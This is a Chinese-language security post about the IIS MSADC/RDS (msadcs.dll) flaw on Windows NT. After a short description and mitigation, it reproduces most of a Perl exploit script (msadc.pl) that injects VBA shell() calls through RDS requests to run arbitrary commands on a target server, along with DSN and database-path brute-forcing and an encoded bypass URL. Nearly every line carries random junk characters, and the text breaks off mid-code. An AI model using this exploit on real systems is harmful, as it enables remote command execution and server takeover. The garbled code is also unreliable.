IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
~RR!~q qda 2 涉及程序:
Q[OwP Microsoft NT server
.`D'eS6b 0)&!$@HW 描述:
x%dny]O1; 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
VMah3T! GvVkb==" 详细:
7}iv+rQ 如果你没有时间读详细内容的话,就删除:
/pMOinuO c:\Program Files\Common Files\System\Msadc\msadcs.dll
66val"^W 有关的安全问题就没有了。
[Uup5+MCv )+
<w>pc 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
H(y`[B,}* \%7*@& 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
/,G `V 关于利用ODBC远程漏洞的描述,请参看:
'!m6^*m|c xpdpD http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 1T|f<ChIF< eB0exPz% 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
<8WFaP3, http://www.microsoft.com/security/bulletins/MS99-025faq.asp (3n "a' )n&hO_c/ 这里不再论述。
JM7mQ'`Ud ?L<B]!9HZt 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
~& -h5=3 5RPG3ppS /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
B&cIx~+ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
3 =enk0$ ;!<}oZp{ OnTe_JML #将下面这段保存为txt文件,然后: "perl -x 文件名"
bZ*=fdh u99a"+ #!perl
_xKn2 ?d8g #
7)2K6<q # MSADC/RDS 'usage' (aka exploit) script
F`g(vD> #
H07\z1?.K # by rain.forest.puppy
#eW
T-m #
>oW]3)$4S # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
U9oUY> 9 # beta test and find errors!
{/QVs?d <-I69` use Socket; use Getopt::Std;
G9:XEEN getopts("e:vd:h:XR", \%args);
=WTSaC XIwJhsYZ'9 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
J,}h{-Xy` m?w_
] if (!defined $args{h} && !defined $args{R}) {
m. pm, print qq~
P&0eu Usage: msadc.pl -h <host> { -d <delay> -X -v }
w/|&N>ZOx -h <host> = host you want to scan (ip or domain)
K6DN>0sY -d <seconds> = delay between calls, default 1 second
5Zq
hyv= -X = dump Index Server path table, if available
l<6GZ -v = verbose
>.meecE?Q -e = external dictionary file for step 5
3;>ls~4 Fi``l)Tt Or a -R will resume a command session
$toTMah
w qFm w9\Fn ~; exit;}
)]@h}K} cx[^D,usf~ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
[
U:C62oK, if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
JL6$7h if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
4>,X.|9{ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
GD4S/fn3 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
NW1 Jr/ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
o=Vs)8W &jJu=6 U
B if (!defined $args{R}){ $ret = &has_msadc;
[xqV`(vM die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
C:B 7%< KlT:&1SB9 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
_=mzZe[ . "cmd /c ";
'|[!I!WB` $in=<STDIN>; chomp $in;
1_+ h"LE $command="cmd /c " . $in ;
NWf=mrS8@$ h%/BZC^L]| if (defined $args{R}) {&load; exit;}
|.k'?! D?n6h\h\$% print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
<K0epED &try_btcustmr;
?c#s}IH -Q20af- print "\nStep 2: Trying to make our own DSN...";
1'&.6{)P &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Z|t=t"6" s+:|b~ print "\nStep 3: Trying known DSNs...";
n\+c3 &known_dsn;
afrF%! R1zt6oY print "\nStep 4: Trying known .mdbs...";
#Y=^4 U` &known_mdb;
gH//@`6 T]tP!a;K if (defined $args{e}){
oxxuw
Dcl print "\nStep 5: Trying dictionary of DSN names...";
bv4umL / &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
^L%_kL_7 rI>x'0Go* print "Sorry Charley...maybe next time?\n";
pwFdfp exit;
c{=;lT -`faXFW' ##############################################################################
9L>?N:%5 COw"6czX/ sub sendraw { # ripped and modded from whisker
T8+[R2_ sleep($delay); # it's a DoS on the server! At least on mine...
i.E2a) my ($pstr)=@_;
%axr@o[ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
ei5YxV6I die("Socket problems\n");
}5+^ if(connect(S,pack "SnA4x8",2,80,$target)){
H~FI@Cf$L select(S); $|=1;
3X gJZ
print $pstr; my @in=<S>;
2F2Hl select(STDOUT); close(S);
DZqPCMz)^ return @in;
k!Yc_ZB:*l } else { die("Can't connect...\n"); }}
cC-8.2 AlQhKL}|s ##############################################################################
mG1~rI W1REF9i){ sub make_header { # make the HTTP request
]Q"T8drL my $msadc=<<EOT
TsFhrtnx&X POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
-lo?16w User-Agent: ACTIVEDATA
9"P+K.% Host: $ip
M+%Xq0`T Content-Length: $clen
6 - 3?&+ Connection: Keep-Alive
d]0:r]e w;,34qbf ADCClientVersion:01.06
T?RY~GA Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
m}l);P^ <H^jbK --!ADM!ROX!YOUR!WORLD!
GlJ[rD Content-Type: application/x-varg
^("b~-cJ Content-Length: $reqlen
&@lfr623 w'TAM"D` EOT
'x%gJi# ; $msadc=~s/\n/\r\n/g;
`PARZ| return $msadc;}
P&Keslk Ll|-CY $ ##############################################################################
:'T+`( 2^B_iyF; sub make_req { # make the RDS request
"AagTFs(i my ($switch, $p1, $p2)=@_;
J.UNw8z my $req=""; my $t1, $t2, $query, $dsn;
{]\7
M|9\
9 :2Bt <q if ($switch==1){ # this is the btcustmr.mdb query
wh(_<VZ $query="Select * from Customers where City=" . make_shell();
hNXZL>6 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
*J4!+GD $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
KtaoOe {dF@Vg_n elsif ($switch==2){ # this is general make table query
L -Q8iFW' $query="create table AZZ (B int, C varchar(10))";
#zP-,2!r $dsn="$p1";}
@V
' HX $+80V{J# elsif ($switch==3){ # this is general exploit table query
DzR,ou $query="select * from AZZ where C=" . make_shell();
!
yJ0Am> $dsn="$p1";}
0BXr[%{` eay|>xa2 elsif ($switch==4){ # attempt to hork file info from index server
Un]wP` $query="select path from scope()";
! t!4CY $dsn="Provider=MSIDXS;";}
^;F/^_ {<{VJGY7T elsif ($switch==5){ # bad query
8-<F4^i_i $query="select";
9Y3"V3EZ $dsn="$p1";}
qU#A,%kcV .'`aX
7{\ $t1= make_unicode($query);
0PkX- . $t2= make_unicode($dsn);
i`+w.zJOH8 $req = "\x02\x00\x03\x00";
;y(;7n_ a $req.= "\x08\x00" . pack ("S1", length($t1));
9JdJn> $req.= "\x00\x00" . $t1 ;
k[8F: T- $req.= "\x08\x00" . pack ("S1", length($t2));
76D$Nm $req.= "\x00\x00" . $t2 ;
L"jA#ULg $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
qIJc\,' return $req;}
$ 5" suQTi'K1 ##############################################################################
P7w
RX F{ ku,{NY
f^Y sub make_shell { # this makes the shell() statement
a6 gw6jQ return "'|shell(\"$command\")|'";}
N5K(yY_T brTNwRze ##############################################################################
H|aFs.S EQ b"$?(Y sub make_unicode { # quick little function to convert to unicode
-. *E<% my ($in)=@_; my $out;
CWeQv9h]X for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
.'=S1|_( return $out;}
\HB
fM& @A6iY ##############################################################################
s={>{,E `!cdxKLR sub rdo_success { # checks for RDO return success (this is kludge)
#;8)UNc)} my (@in) = @_; my $base=content_start(@in);
9 &r]k8K if($in[$base]=~/multipart\/mixed/){
}36A eJ7L return 1 if( $in[$base+10]=~/^\x09\x00/ );}
4Wgzp51Aq! return 0;}
9"^ib9M Z=8&` ##############################################################################
6-\Mf:%B ~+{*KPiD sub make_dsn { # this makes a DSN for us
0y|1@CS my @drives=("c","d","e","f");
';G/,wB?` print "\nMaking DSN: ";
4AL,=C3 foreach $drive (@drives) {
hwM<0Jf print "$drive: ";
~0,v Q
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
c!HGiqp "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Ar\fA)UQ` . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
!y$##PZ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
c(1tOQk. return 0 if $2 eq "404"; # not found/doesn't exist
7KiraKb| if($2 eq "200") {
g#i~^4-1 foreach $line (@results) {
3chx4 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Pt85q?- > } return 0;}
_xAru9=n^ vk|f"I ##############################################################################
xp1/@Pw? KGDN)@D sub verify_exists {
O^\:J2I( my ($page)=@_;
<N<0 ?GQ my @results=sendraw("GET $page HTTP/1.0\n\n");
W!HjO; return $results[0];}
(ORbhjl .=YV ##############################################################################
g5#LoGc <SJ6<' sub try_btcustmr {
=p@2[Uo my @drives=("c","d","e","f");
dm/3{\ 4 my @dirs=("winnt","winnt35","winnt351","win","windows");
/
^)3V} *Z"cXg^ti foreach $dir (@dirs) {
274j7Y' print "$dir -> "; # fun status so you can see progress
9+y&&;p foreach $drive (@drives) {
Re~6' print "$drive: "; # ditto
dlvU=^G#G $reqlen=length( make_req(1,$drive,$dir) ) - 28;
r3x;lICx- $reqlenlen=length( "$reqlen" );
]a.e;c- $clen= 206 + $reqlenlen + $reqlen;
ds`YVXKH FrMXf,} my @results=sendraw(make_header() . make_req(1,$drive,$dir));
\\EX'L if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
9Avj\G else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
&wU"6E (!@gm)#h ##############################################################################
^}2!fRKAmo T7i>aM$+ sub odbc_error {
"3jTU my (@in)=@_; my $base;
Ngx2N<$<*g my $base = content_start(@in);
qy?$t:*pp if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
,>#\aO1n $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
rbOJ;CK $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
j8M t"B $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
zU[o_[+7^ return $in[$base+4].$in[$base+5].$in[$base+6];}
dlyGgaV*X print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
kT
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
rZ,3:x-: $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Uy=yA >7@,,~3 ##############################################################################
YCP D+ ta.Lq8/ sub verbose {
CSjd&G*ZB my ($in)=@_;
3_G0eIE"u return if !$verbose;
Ma\%uEgTD print STDOUT "\n$in\n";}
5Kd"W, t0cS.hi ##############################################################################
h)sT37 'r=2f6G>cP sub save {
vg?(0Gasm* my ($p1, $p2, $p3, $p4)=@_;
6{d?3Jk open(OUT, ">rds.save") || print "Problem saving parameters...\n";
>4bw4
Z1 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
:!Z |_y{b close OUT;}
7`~0j6FY ~c&sr5E ##############################################################################
|5>A^a \aPH_sf, sub load {
A%EhRAy my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
,y"vf^BE. open(IN,"<rds.save") || die("Couldn't open rds.save\n");
+EA ")T<l @p=<IN>; close(IN);
F%zMhX'AG $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
y)LX?d $target= inet_aton($ip) || die("inet_aton problems");
_GY2|x2c print "Resuming to $ip ...";
3R$R?^G $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Hwd^C2v if($p[1]==1) {
Msvs98LvW $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
ai/]E6r $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
i+QVs_jW my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
_Cf:\Xs
m if (rdo_success(@results)){print "Success!\n";}
nGTGX else { print "failed\n"; verbose(odbc_error(@results));}}
2ia&c@P- elsif ($p[1]==3){
Q2oo\ if(run_query("$p[3]")){
8MW-JZ print "Success!\n";} else { print "failed\n"; }}
5o{U$ elsif ($p[1]==4){
RJ3uu NK7 if(run_query($drvst . "$p[3]")){
8|=
c3Z print "Success!\n"; } else { print "failed\n"; }}
~9@527m<', exit;}
U*N{H$ACuR T/u61}'U{ ##############################################################################
m{>" x| D|d} sub create_table {
V!*1F1 my ($in)=@_;
[<
9%IGH $reqlen=length( make_req(2,$in,"") ) - 28;
8d1qRCIz $reqlenlen=length( "$reqlen" );
yL<u>S0 $clen= 206 + $reqlenlen + $reqlen;
hG`@#9|f my @results=sendraw(make_header() . make_req(2,$in,""));
}'{"P#e8"q return 1 if rdo_success(@results);
X9c<g; my $temp= odbc_error(@results); verbose($temp);
6f0o' return 1 if $temp=~/Table 'AZZ' already exists/;
>8{{H"$;( return 0;}
bCTN^ 3P75:v ##############################################################################
O|Vc D\ZH1C!d sub known_dsn {
(-1{W^( # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
Z;u3G4XlF my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
w?3ww7yf` "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
t~}c"|<t "banner", "banners", "ads", "ADCDemo", "ADCTest");
6 ym$8^ GGLSmfb) foreach $dSn (@dsns) {
,|8aDL? print ".";
cJ?,\@uuP next if (!is_access("DSN=$dSn"));
ORqqzy + if(create_table("DSN=$dSn")){
:SwA) (1 print "$dSn successful\n";
|ggtb\W if(run_query("DSN=$dSn")){
/J"fbBXwY print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
!:xE
X~ print "Something's borked. Use verbose next time\n";}}} print "\n";}
":sp0(`h AW_ YlS ##############################################################################
z<P?p OP= oSfa sub is_access {
TXd6o= my ($in)=@_;
V_^pPBa $reqlen=length( make_req(5,$in,"") ) - 28;
rkh%[o9"/ $reqlenlen=length( "$reqlen" );
.`u8(S+ $clen= 206 + $reqlenlen + $reqlen;
F&CvqPI my @results=sendraw(make_header() . make_req(5,$in,""));
ZJFF4($qN my $temp= odbc_error(@results);
>^W6'Q$P< verbose($temp); return 1 if ($temp=~/Microsoft Access/);
vEG7A$Z" return 0;}
fGH)Fgo` #u"@q< ) ##############################################################################
s7jNRY V fhdqes]) sub run_query {
fwx^?/5j my ($in)=@_;
%#EzZD $reqlen=length( make_req(3,$in,"") ) - 28;
[#X}( $reqlenlen=length( "$reqlen" );
E>E^t=;[ $clen= 206 + $reqlenlen + $reqlen;
y%
!.:7Y my @results=sendraw(make_header() . make_req(3,$in,""));
$zhvI*0 return 1 if rdo_success(@results);
>X[:(m' my $temp= odbc_error(@results); verbose($temp);
7[L%j;)bw return 0;}
%WP[V{,F C\Ob!sv%H ##############################################################################
)_Hv9!U]e
v9TIEmZ sub known_mdb {
HdY#cVxy my @drives=("c","d","e","f","g");
Y[VXx8"p my @dirs=("winnt","winnt35","winnt351","win","windows");
gs.+|4dv my $dir, $drive, $mdb;
18kWnF]n= my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
PxWH)4 PktnjdFV # this is sparse, because I don't know of many
-)&lsFF my @sysmdbs=( "\\catroot\\icatalog.mdb",
2t0VbAO1{ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
]
fA5D)/m< "\\system32\\certmdb.mdb",
-ciwIS9L
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
DP *$@5 ]A\qI>, my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
7bGOE_r "\\cfusion\\cfapps\\forums\\forums_.mdb",
>pol'= "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Mx# P
>. "\\cfusion\\cfapps\\security\\realm_.mdb",
n Jz* }= "\\cfusion\\cfapps\\security\\data\\realm.mdb",
uHZjpMoM "\\cfusion\\database\\cfexamples.mdb",
~U ]%>Zf "\\cfusion\\database\\cfsnippets.mdb",
]A+t@/k "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
EronNtu8i "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
X=Y(,ZR(& "\\cfusion\\brighttiger\\database\\cleam.mdb",
o8A8fHl "\\cfusion\\database\\smpolicy.mdb",
wvxqgXnB\ "\\cfusion\\database\cypress.mdb",
KB~`3Wj|Z "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
*ni0. "\\website\\cgi-win\\dbsample.mdb",
7)> L#(N "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
wpNb/U "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
p Zxx ); #these are just
8{%&P%vf foreach $drive (@drives) {
tmeg=U7 foreach $dir (@dirs){
3fE0cVG* foreach $mdb (@sysmdbs) {
XCgC^c' print ".";
JHg;2xm"<K if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
8A*tpMV?J print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
VsL*&Fk if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
)$pqe|, print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
P;X0L{u0H } else { print "Something's borked. Use verbose next time\n"; }}}}}
6%o@!|=I uzp\<\d-t foreach $drive (@drives) {
g<w1d{Td foreach $mdb (@mdbs) {
={p<